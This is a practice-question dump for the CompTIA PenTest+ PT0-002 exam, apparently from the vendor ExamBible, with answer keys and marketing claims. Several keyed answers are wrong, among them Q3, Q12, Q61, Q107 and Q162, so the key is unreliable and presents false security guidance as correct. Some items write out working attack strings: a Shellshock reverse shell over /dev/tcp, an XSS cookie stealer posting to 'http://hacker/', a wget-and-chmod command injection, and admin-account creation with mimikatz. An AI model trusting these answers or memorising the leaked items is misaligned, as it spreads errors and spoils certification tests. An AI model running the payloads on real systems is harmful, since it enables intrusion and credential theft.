



# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

## About ExamBible

*[Your Partner of IT Exam](#)*

## Found in 1998

ExamBible is a company specialized on providing high quality IT exam practice study materials, especially Cisco CCNA, CCDA, CCNP, CCIE, Checkpoint CCSE, CompTIA A+, Network+ certification practice exams and so on. We guarantee that the candidates will not only pass any IT exam at the first attempt but also get profound understanding about the certificates they have got. There are so many alike companies in this industry, however, ExamBible has its unique advantages that other companies could not achieve.

## Our Advances

### \* 99.9% Uptime

All examinations will be up to date.

### \* 24/7 Quality Support

We will provide service round the clock.

### \* 100% Pass Rate

Our guarantee that you will pass the exam.

### \* Unique Gurantee

If you do not pass the exam at the first time, we will not only arrange FULL REFUND for you, but also provide you another exam of your claim, ABSOLUTELY FREE!

**NEW QUESTION 1**

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial\_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manager/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

**Answer: D**

**NEW QUESTION 2**

Which of the following tools provides Python classes for interacting with network protocols?

- A. Responder
- B. Impacket
- C. Empire
- D. PowerSploit

**Answer: B**

**NEW QUESTION 3**

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i id; whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
- B. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
- C. exploits = {"User-Agent": "() { ignored; }; /bin/sh -i ps -ef 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
- D. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/10.10.1.1/80 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

**Answer: D**

**NEW QUESTION 4**

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

- A. Cross-site request forgery
- B. Server-side request forgery
- C. Remote file inclusion
- D. Local file inclusion

**Answer: B**

**NEW QUESTION 5**

A penetration tester conducted an assessment on a web server. The logs from this session show the following:

```
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -
```

Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking
- E. Cross-site scripting

**Answer: C**

**NEW QUESTION 6**

A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

- A. Alternate data streams
- B. PowerShell modules
- C. MP4 steganography
- D. PsExec

**Answer: D**

**NEW QUESTION 7**

A company that develops embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

**Answer:** A

#### NEW QUESTION 8

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

- A. Socat
- B. tcpdump
- C. Scapy
- D. dig

**Answer:** A

#### NEW QUESTION 9

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

**Answer:** AE

#### NEW QUESTION 10

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

- A. `chmod u+x script.sh`
- B. `chmod u+e script.sh`
- C. `chmod o+e script.sh`
- D. `chmod o+x script.sh`

**Answer:** A

#### NEW QUESTION 10

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

- A. Ensure the client has signed the SOW.
- B. Verify the client has granted network access to the hot site.
- C. Determine if the failover environment relies on resources not owned by the client.
- D. Establish communication and escalation procedures with the client.

**Answer:** A

#### NEW QUESTION 12

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)

-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL `http://172.16.100.10:3000/profile`, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run `sudo` before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

**Answer:** A

#### NEW QUESTION 17

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

- A. Comma
- B. Double dash
- C. Single quote
- D. Semicolon

**Answer:** C

#### NEW QUESTION 19

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

- A. Forensically acquire the backdoor Trojan and perform attribution
- B. Utilize the backdoor in support of the engagement
- C. Continue the engagement and include the backdoor finding in the final report
- D. Inform the customer immediately about the backdoor

**Answer:** D

#### NEW QUESTION 22

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

- A. Unsupported operating systems
- B. Susceptibility to DDoS attacks
- C. Inability to network
- D. The existence of default passwords

**Answer:** A

#### NEW QUESTION 25

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

**Answer:** B

#### NEW QUESTION 26

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

**Answer:** A

#### NEW QUESTION 29

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( <https://nmap.org> ) at 2021-01-24 01:10 EST Nmap scan report for ( 10.2.1.22 )

Host is up (0.0102s latency). Not shown: 998 filtered ports Port State Service

80/tcp open http

|\_http-title: 80F 22% RH 1009.1MB (text/html)

|\_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

**Answer:** AB

#### NEW QUESTION 33

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- > Have a full TCP connection
- > Send a “hello” payload
- > Wait for a response
- > Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

- A. Run nmap -Pn -sV --script vuln <IP address>.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.
- D. Perform a credentialed scan with Nessus.

**Answer:** C

#### NEW QUESTION 35

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

- A. Analyze the malware to see what it does.
- B. Collect the proper evidence and then remove the malware.
- C. Do a root-cause analysis to find out how the malware got in.
- D. Remove the malware immediately.
- E. Stop the assessment and inform the emergency contact.

**Answer:** E

#### NEW QUESTION 37

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

**Answer:** A

#### NEW QUESTION 41

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company’s employees.

Which of the following tools can help the tester achieve this goal?

- A. Metasploit
- B. Hydra
- C. SET
- D. WPScan

**Answer:** A

#### NEW QUESTION 44

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

- A. Nmap
- B. tcpdump
- C. Scapy
- D. hping3

**Answer:** C

#### Explanation:

[https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating\\_packets/index.html](https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html)

#### NEW QUESTION 45

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement

**Answer:** A

#### NEW QUESTION 49

An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems.

Which of the following is the penetration tester trying to accomplish?

- A. Uncover potential criminal activity based on the evidence gathered.
- B. Identity all the vulnerabilities in the environment.
- C. Limit invasiveness based on scope.
- D. Maintain confidentiality of the findings.

**Answer:** C

#### NEW QUESTION 51

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers
- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

**Answer:** A

#### NEW QUESTION 52

Appending string values onto another string is called:

- A. compilation
- B. connection
- C. concatenation
- D. conjunction

**Answer:** C

#### NEW QUESTION 53

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

- A. Perform vertical privilege escalation.
- B. Replay the captured traffic to the server to recreate the session.
- C. Use John the Ripper to crack the password.
- D. Utilize a pass-the-hash attack.

**Answer:** D



#### NEW QUESTION 57

Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

- A. NIST SP 800-53
- B. OWASP Top 10
- C. MITRE ATT&CK framework
- D. PTES technical guidelines

**Answer: C**

#### NEW QUESTION 58

A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

- A. Implement a recurring cybersecurity awareness education program for all users.
- B. Implement multifactor authentication on all corporate applications.
- C. Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- D. Implement an email security gateway to block spam and malware from email communications.

**Answer: A**

#### NEW QUESTION 61

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

**Answer: BE**

#### NEW QUESTION 64

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

- A. Test for RFC-defined protocol conformance.
- B. Attempt to brute force authentication to the service.
- C. Perform a reverse DNS query and match to the service banner.
- D. Check for an open relay configuration.

**Answer: C**

#### NEW QUESTION 67

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

- A. The penetration tester was testing the wrong assets
- B. The planning process failed to ensure all teams were notified
- C. The client was not ready for the assessment to start
- D. The penetration tester had incorrect contact information

**Answer: B**

#### NEW QUESTION 70

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:

```
nmap -O -A -sS -p- 100.100.100.50
```

Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?

- A. A firewall or IPS blocked the scan.
- B. The penetration tester used unsupported flags.
- C. The edge network device was disconnected.
- D. The scan returned ICMP echo replies.

**Answer: A**

#### NEW QUESTION 75

A penetration tester ran the following commands on a Windows server:



```
schtasks
echo net user svaccount password /add >> batchjob3.bat
echo net localgroup Administrators svaccount /add >> batchjob3.bat
net user svaccount
runas /user:svaccount mimikatz
```

Which of the following should the tester do AFTER delivering the final report?

- A. Delete the scheduled batch job.
- B. Close the reverse shell connection.
- C. Downgrade the svaccount permissions.
- D. Remove the tester-created credentials.

**Answer:** D

#### NEW QUESTION 77

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

- A. Weekly
- B. Monthly
- C. Quarterly
- D. Annually

**Answer:** A

#### NEW QUESTION 78

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- Pre-engagement interaction (scoping and ROE)
- Intelligence gathering (reconnaissance)
- Threat modeling
- Vulnerability analysis
- Exploitation and post exploitation
- Reporting

Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

**Answer:** B

#### NEW QUESTION 82

A tester who is performing a penetration test on a website receives the following output:

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62

Which of the following commands can be used to further attack the website?

- A. `<script>var adr= '../evil.php?test=' + escape(document.cookie);</script>`
- B. `../../../../../../../../etc/passwd`
- C. `/var/www/html/index.php;whoami`
- D. `1 UNION SELECT 1, DATABASE(),3-`

**Answer:** C

#### NEW QUESTION 87

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?

- A. `nmap -p0 -T0 -sS 192.168.1.10`
- B. `nmap -sA -sV --host-timeout 60 192.168.1.10`
- C. `nmap -f --badsum 192.168.1.10`
- D. `nmap -A -n 192.168.1.10`

**Answer:** B

#### NEW QUESTION 89

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

exploit = "POST"

exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh\${IFS} -"

c\${IFS}'cd\${IFS}/tmp;\${IFS}wget\${IFS}http://10.10.0.1/apache;\${IFS}chmod\${IFS}777\${IFS}apache;\${IFS}&loginUser=a&Pwd=a"

exploit += "HTTP/1.1"

Which of the following commands should the penetration tester run post-engagement?

- A. `grep -v apache ~/.bash_history > ~/.bash_history`
- B. `rm -rf /tmp/apache`

- C. chmod 600 /tmp/apache
- D. taskkill /IM "apache" /F

**Answer:** B

#### NEW QUESTION 90

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

- A. will reveal vulnerabilities in the Modbus protocol.
- B. may cause unintended failures in control systems.
- C. may reduce the true positive rate of findings.
- D. will create a denial-of-service condition on the IP networks.

**Answer:** B

#### NEW QUESTION 94

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

- A. Understanding the tactics of a security intrusion can help disrupt them.
- B. Scripts that are part of the framework can be imported directly into SIEM tools.
- C. The methodology can be used to estimate the cost of an incident better.
- D. The framework is static and ensures stability of a security program overtime.

**Answer:** A

#### NEW QUESTION 98

A consultant is reviewing the following output after reports of intermittent connectivity issues:

? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]  
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]  
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]  
? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]  
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]  
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]  
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]  
? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?

- A. A device on the network has an IP address in the wrong subnet.
- B. A multicast session was initiated using the wrong multicast group.
- C. An ARP flooding attack is using the broadcast address to perform DDoS.
- D. A device on the network has poisoned the ARP cache.

**Answer:** B

#### NEW QUESTION 100

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.

**Answer:** C

#### NEW QUESTION 101

A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

- A. Badge cloning
- B. Dumpster diving
- C. Tailgating
- D. Shoulder surfing

**Answer:** B

#### NEW QUESTION 106

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

**Answer:** AC

### NEW QUESTION 107

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port      State    Service    Version
22/tcp    open    ssh        OpenSSH 6.6.1p1
53/tcp    open    domain     dnsmasq 2.72
80/tcp    open    http       lighttpd
443/tcp   open    ssl/http   httpd

Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

**Answer:** A

### NEW QUESTION 111

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

- A. Buffer overflows
- B. Cross-site scripting
- C. Race-condition attacks
- D. Zero-day attacks
- E. Injection flaws
- F. Ransomware attacks

**Answer:** BE

**Explanation:**

A01-Injection  
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE  
A05-Broken Access Control A06-Security Misconfiguration A07-XSS  
A08-Insecure Deserialization  
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

### NEW QUESTION 113

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()

try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

**Answer:** A

#### NEW QUESTION 116

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

**Answer:** A

#### NEW QUESTION 121

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

- A. Run another scanner to compare.
- B. Perform a manual test on the server.
- C. Check the results on the scanner.
- D. Look for the vulnerability online.

**Answer:** B

#### NEW QUESTION 123

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-PA22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-Ss22-25,80

**Answer:** C

#### NEW QUESTION 126

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

**Answer:** B

#### NEW QUESTION 131

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

**Answer:** B

#### NEW QUESTION 134

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

- A. Wireshark
- B. Aircrack-ng
- C. Kismet
- D. Wifite

**Answer:** B

#### NEW QUESTION 136

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

**Answer:** A



#### NEW QUESTION 138

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

- A. OpenVAS
- B. Drozer
- C. Burp Suite
- D. OWASP ZAP

**Answer:** A

#### NEW QUESTION 139

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

**Answer:** B

#### NEW QUESTION 144

Which of the following describes the reason why a penetration tester would run the command `sdelete mimikatz. *` on a Windows server that the tester compromised?

- A. To remove hash-cracking registry entries
- B. To remove the tester-created Mimikatz account
- C. To remove tools from the server
- D. To remove a reverse shell from the system

**Answer:** B

#### NEW QUESTION 146

A penetration tester is reviewing the following SOW prior to engaging with a client:

"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner."

Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

- A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
- C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
- D. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
- E. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
- F. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements

**Answer:** CE

#### NEW QUESTION 148

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "no-password"
- C. "cisco-ios" "default-passwords"
- D. "cisco-ios" "last-modified"

**Answer:** A

#### NEW QUESTION 150

A penetration tester found the following valid URL while doing a manual assessment of a web application: <http://www.example.com/product.php?id=123987>.

Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

- A. SQLmap
- B. Nessus
- C. Nikto
- D. DirBuster

Answer: B

#### NEW QUESTION 155

A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

- A. Add a dependency checker into the tool chain.
- B. Perform routine static and dynamic analysis of committed code.
- C. Validate API security settings before deployment.
- D. Perform fuzz testing of compiled binaries.

Answer: D

#### NEW QUESTION 160

A penetration tester performs the following command: `curl -I -http2 https://www.comptia.org`  
Which of the following snippets of output will the tester MOST likely receive?

- A. `HTTP/2 200`  
...  
`x-frame-options: SAMEORIGIN`  
`x-xss-protection: 1; mode=block`  
`x-content-type-options: nosniff`  
`referrer-policy: strict-origin`  
`strict-transport-security: max-age=31536000; includeSubdomains; preload`  
...
- B. `<!DOCTYPE html>`  
`<html lang="en">`  
`<head>`  
`<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />`  
...  
`</head>`  
...  
`<body lang="en">`  
`</body>`  
`</html>`
- C. 

% Total	% Received	% Xferd	Average Dload	Speed Upload	Time Total	Time Spent	Time Left	Current Speed
100	1698k	100 1698k	0 0	1566k	0	0:00:01	0:00:01	--:-- 1565k
- D. `[#####] 100%`

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: A

#### NEW QUESTION 162

An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?

- A. Follow the established data retention and destruction process
- B. Report any findings to regulatory oversight groups
- C. Publish the findings after the client reviews the report
- D. Encrypt and store any client information for future analysis

Answer: D

#### NEW QUESTION 163

.....



## Relate Links

**100% Pass Your PT0-002 Exam with ExamBible Prep Materials**

<https://www.exambible.com/PT0-002-exam/>

## Contact us

We are proud of our high-quality customer service, which serves you around the clock 24/7.

Viste - <https://www.exambible.com/>